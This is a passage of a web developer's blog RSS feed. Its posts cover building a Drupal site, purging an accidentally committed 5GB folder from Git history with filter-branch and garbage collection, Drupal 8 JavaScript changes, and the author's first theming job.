&lt;p&gt;Once I managed to wrap my head around those concepts, I started building up the site. It seemed straightforward enough at first, a couple of basic pages, and a couple of view listings, pretty standard stuff. Upon closer scrutiny of the requirements and the approved visual design, I quickly learned that NOTHING is ever straightforward.&lt;/p&gt;
&lt;p&gt;This was also my first taste of using feeds to import content. Let&apos;s just say it was an exercise in patience and persistence. Though I must say, all the time spent wrangling spreadsheets and levelling up my Excel-fu during my previous job came in very handy. I document my extensive feeds experience in &lt;a href=&quot;/blog/drupal-101-what-i-learnt-from-hours-of-troubleshooting-feeds/&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This site also required overriding the node template with panels, content filtering with facets and a simple image gallery with lightbox. After all that came the custom theme, which was actually just a sub-theme off of Zen (eventually, I would come to a point when I decided to write my own base theme, but that&apos;s for a future post).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sgcc/sgcc-ba.jpg&quot; alt=&quot;SGCC homepage after theming&quot;&gt;&lt;/p&gt;
&lt;p&gt;I was not one of the golden generation of web developers who started out coding websites on Geocities, and I totally missed the table-based layout phase, so pardon my noob-ness when I say the best part of this project was seeing the un-themed site transform into the comp from my designer, except it&apos;s ALIVE!&lt;/p&gt;
&lt;p&gt;Another small step forward through the world of web development. I shall now end off with the cliche of a random quote by a famous person:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A beef filet cooked for 15 hours by 30 cooks doesn&apos;t necessarily taste better than a cheeseburger.&lt;br&gt;
― Oliver Reichenstein&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>The epic git bomb</title><link>https://chenhuijing.com/blog/the-epic-git-bomb/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-epic-git-bomb/</guid><description>Git is something most of us, as developers, can&apos;t live without. However, Git may also behave like a double-edged sword, especially for less-than-seasoned developers like me, who inevitably ended up doing something stupid to my Git repository.</description><pubDate>Thu, 06 Mar 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Version control is a concept that is useful regardless of what industry you are in. But it is especially valuable in the software industry. Before I delved into this world of web development, I had already understood the value of version control.&lt;/p&gt;
&lt;p&gt;I mean, it is only logical to keep track of changes made to any files just in case you needed to backtrack or recover any information. However, my experience with version control was extremely rudimentary.&lt;/p&gt;
&lt;p&gt;It largely involved keeping multiple copies of the same file every time an update was made. This worked fine, except that you usually ended up with 36 copies of the same file with names like &lt;code&gt;Meeting-minutes-20120506-v1_CHJ_revised.docx&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When I became a web developer, I was told to learn what Git was. In newbie-speak, Git is a distributed version control system (One thing I realised is that systems are the centre of the universe for developers). Breaking that down, it simply means that there is a system in place which tracks any change made to files or folders that you tell it to monitor. The set of files and folders being monitored is known as a repository.&lt;/p&gt;
&lt;p&gt;The benefit of having such a system is that any change you do is tracked, making it easy to revert to a prior state, if you frequently commit your changes (i.e. tell the system to record those changes). And in all fairness, this has saved my hide countless times before.&lt;/p&gt;
&lt;p&gt;Think about it this way, every time you make a change, it&apos;s as if you&apos;re adding documentation which describes that change to an archive. Say you remove a file, the documentation in the archive will record exactly what file was removed at which point in time.&lt;/p&gt;
&lt;p&gt;The thing about archives is that, they are usually HUGE, given the vast amount of information that needs to be stored. Coming back to the context of Git, deleting a file does not mean it&apos;s gone. You just don&apos;t see it in your repository anymore. But in under version control, nothing is ever truly gone. And this very property is a double-edged sword.&lt;/p&gt;
&lt;p&gt;There are times when you realise you committed a file that actually should not be included in the repository. Usually you just remove that file from your local repository, commit that change, and add a line in your &lt;code&gt;.gitignore&lt;/code&gt; file to ignore that file in future. No biggie, right? Not.&lt;/p&gt;
&lt;p&gt;I brilliantly (by accident, might I add) committed a 5gb folder full of media files AND pushed it up to my remote repository on bitbucket. So after I did the remove-file-from-local-repo-and-ignore-it bit, I realised that every single file involved in this epic fail was still recorded in the Git history.&lt;/p&gt;
&lt;p&gt;I was also left with a 5.94gb Git repo.&lt;/p&gt;
&lt;p&gt;I immediately saw fun times ahead.&lt;/p&gt;
&lt;p&gt;It took a few hours of Googling and reading Stackoverflow topic threads to solve this problem. The steps can be condensed as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git filter-branch --index-filter &apos;git rm -rf --cached --ignore-unmatch FOLDER_NAME&apos; --prune-empty --tag-name-filter cat -- --all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;filter-branch&lt;/code&gt; command allows you to rewrite the Git history.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;--index-filer&lt;/code&gt; option is the filter for rewriting the index. Some people use the &lt;code&gt;--tree-filter&lt;/code&gt; option, which rewrites the tree and its contents, but the &lt;code&gt;--index-filter&lt;/code&gt; is faster because it does not check out the tree.&lt;/li&gt;
&lt;li&gt;This option is used with &lt;code&gt;git rm -rf --cached --ignore-unmatch&lt;/code&gt; for optimal results, which removes (&lt;code&gt;rm&lt;/code&gt;) the file recursively and forcefully (&lt;code&gt;-rf&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--cached&lt;/code&gt; is used to unstage and remove paths from the index.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--ignore-unmatch&lt;/code&gt; will prevent the command from failing if the file is absent from the tree of a commit.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--prune-empty&lt;/code&gt; allows the filter-branch command to ignore empty commits generated by the filters applied.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--tag-name-filter cat&lt;/code&gt; will update the relevant tags by rewriting them.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--&lt;/code&gt; simply separates the filter-branch options from the revision options and &lt;code&gt;--all&lt;/code&gt; will rewrite ALL branches and tags&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git prune
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prunes all unreachable objects from the object database.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rm -rf .git/refs/original/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This removes any old references to the unwanted folder/file.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reflog expire --expire=now --all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;According to the documentation, reflog is the mechanism to record when the top of branches are updated so git reflog manges the information recorded. expire is used to prune older reflog entries and `--expire=now&lt;/code&gt; specifies how far behind these older entries should be, in this case, right now.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git gc --prune=now
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command cleans up unnecessary files and optimises the local repository. &lt;code&gt;--prune=now&lt;/code&gt; prunes objects older than the date specified, in this case, right now.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p class=&quot;no-margin&quot;&gt;After all that, I cloned this into a new local repo using:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone --no-hardlinks file://PATH/TO/OLD-REPO NEW-REPO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gave me a “clean” repository, with the history rewritten to remove the target folder, but with all the other commits still intact.&lt;/p&gt;
&lt;p&gt;Although I was able to force push these changes up to my remote repository, the size was still unchanged. So I did the next best thing, which was to create a new remote repository on bitbucket and git push the clean repo up there.&lt;/p&gt;
&lt;p&gt;Luckily for me, this entire episode was contained between my local machine and the repository, as nobody had pulled anything since the unwanted folder was committed. As such, all they had to do was to change their remote origin to point to my new clean repository. Doing a git pull updates the files as normal, sans any trace of this incident which I now refer to as &amp;quot;The Epic Git Bomb&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;http://en.wikipedia.org/wiki/Nuclear_explosion#/media/File:Operation_Upshot-Knothole_-_Badger_001.jpg&quot;&gt;the National Nuclear Security Administration Nevada Site Office Photo Library &lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>New stuff in Drupal 8</title><link>https://chenhuijing.com/blog/new-stuff-in-drupal-8/</link><guid isPermaLink="true">https://chenhuijing.com/blog/new-stuff-in-drupal-8/</guid><description>One of the podcasts I listen to these days is Modules Unraveled by Brian Lewis. The most recent episode was a conversation with Théodore Biadala, who is the…</description><pubDate>Tue, 11 Feb 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the podcasts I listen to these days is &lt;a href=&quot;https://modulesunraveled.com/podcast&quot;&gt;Modules Unraveled&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/modsunraveled&quot;&gt;Brian Lewis&lt;/a&gt;. The most recent episode was a conversation with &lt;a href=&quot;https://twitter.com/nod_&quot;&gt;Théodore Biadala&lt;/a&gt;, who is the JavaScript maintainer for Drupal 7 and 8.&lt;/p&gt;
&lt;p&gt;I consider myself a Drupal toddler at this point in time, but from what I understand, although Drupal 8 will generally look similar to Drupal 7 from a site builder’s perspective, there are a significant number of changes in terms of the backend and APIs. Who better to talk about API changes other than the maintainer for JavaScript himself?&lt;/p&gt;
&lt;p&gt;So in a nutshell, Drupal 8 will have significantly reduced usage of jQuery, mainly to improve loading time, but also minimise the issue of conflicting jQuery versions. If, like me, you have had experienced the pain of trying to get multiple versions of jQuery to play nice with each other on your Drupal site, this should feel like a cool drink in the desert.&lt;/p&gt;
&lt;p&gt;Drupal 8 will also ship with the latest version of jQuery AND JavaScript libraries in Drupal will also be updated with every minor core update. Another cool thing mentioned was that the Drupal JavaScript team is also trying to make it possible to use custom builds of jQuery in Drupal (FYI, as of jQuery 1.8, it is possible to build your custom jQuery library).&lt;/p&gt;
&lt;p&gt;Something significant for module creators in Drupal 8 is that you can no longer call JavaScript or CSS files from your &lt;a href=&quot;http://module.info&quot;&gt;module.info&lt;/a&gt; file anymore. You will have to attach your scripts to the particular render array declared by your module. These files can still be added in the &lt;a href=&quot;http://theme.info&quot;&gt;theme.info&lt;/a&gt; file though.&lt;/p&gt;
&lt;p&gt;There was also a call to the community to help out with testing and documentation. It’s a big chunk of work to be done, so if anybody is able to help, please do.&lt;/p&gt;
&lt;p&gt;This podcast is extremely informative for everyone who uses Drupal, so I recommend subscribing to Modules Unraveled on your pod-catcher of choice.&lt;/p&gt;
</content:encoded></item><item><title>The one that came first</title><link>https://chenhuijing.com/blog/the-one-that-came-first/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-that-came-first/</guid><description>There&apos;s always a first time and this was it. The first assignment as a gainfully employed web developer. We all need to crawl before we can walk.</description><pubDate>Sun, 09 Feb 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My first assignment as a web developer was to style the theme for the &lt;a href=&quot;https://web.archive.org/web/20171105112144/http://www.temple.sg/&quot;&gt;Temple University in Singapore&lt;/a&gt; website. The original site was built using Drupal, however, the developer had gone AWOL and there was no way to access the source code of the site.&lt;/p&gt;
&lt;p&gt;My team’s solution to this sticky situation was to clone the HTML of the original site using wGet and use that to rebuild the whole site from scratch using Drupal. My job was to make this replacement site look like the original.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/temple/temple.jpg&quot; alt=&quot;Temple.sg homepage&quot;&gt;&lt;/p&gt;
&lt;p&gt;An experienced front-end developer could probably do this in an hour, with one hand tied behind his back. I, on the other hand, was anything but experienced. In fact, I was probably closer to the moon than to being experienced. The matter of the fact was I had a sketchy concept of HTML and no idea what CSS was before I got this job.&lt;/p&gt;
&lt;p&gt;I had built a couple of websites before, one of them on Drupal 6 and two others using Dreamweaver, but I never actually coded a website from scratch before, hence the lack of knowledge in these 2 critical aspects of web development.&lt;/p&gt;
&lt;p&gt;It may have been divine intervention or some miraculous twist of fate that I landed this job as a web developer. But I realised I had to get myself up to speed, pronto. This was taking learning on the job to another level. The very first thing I did was to go through the HTML and CSS track on &lt;a href=&quot;http://www.codeacademy.com&quot;&gt;Codeacademy&lt;/a&gt;. Twice.&lt;/p&gt;
&lt;p&gt;A ninja-level friend of mine recommended &lt;a href=&quot;http://www.bentobox.io&quot;&gt;Bento&lt;/a&gt;, which is a compilation of sites which teach you whatever programming language you wish to learn. So I went through the HTML and CSS tracks on &lt;a href=&quot;https://dash.generalassemb.ly/projects&quot;&gt;Dash&lt;/a&gt; as well.&lt;/p&gt;
&lt;p&gt;I also managed to get my hands on a copy of &lt;a href=&quot;http://www.htmlandcssbook.com/&quot;&gt;John Duckett’s HTML &amp;amp; CSS&lt;/a&gt;, and promptly devoured that too. This may sound like overkill to some of you, but I was not the kind of genius who got things a first glance. Constant reinforcement is the key, for me at least. At the end of all that, I got myself a pretty solid understanding of the basics of HTML and CSS.&lt;/p&gt;
&lt;p&gt;The trickiest part of this project for me at the time was styling the pager for the homepage carousel. &lt;a href=&quot;/blog/drupal-101-simple-image-carousel/&quot;&gt;Here&apos;s&lt;/a&gt; how I did it.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This definitely did not come out of the box.&lt;/figcaption&gt;
    &lt;img alt=&quot;Temple.sg carousel pager&quot; src=&quot;/images/posts/temple/temple-pager.jpg&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Working with the original live website as a visual guide, I tweaked the clone&apos;s CSS bit by bit and managed to get the job done within a week. The website launched as planned, with me breathing a huge sigh of relief. I got through my first project and nothing exploded!&lt;/p&gt;
</content:encoded></item></channel></rss>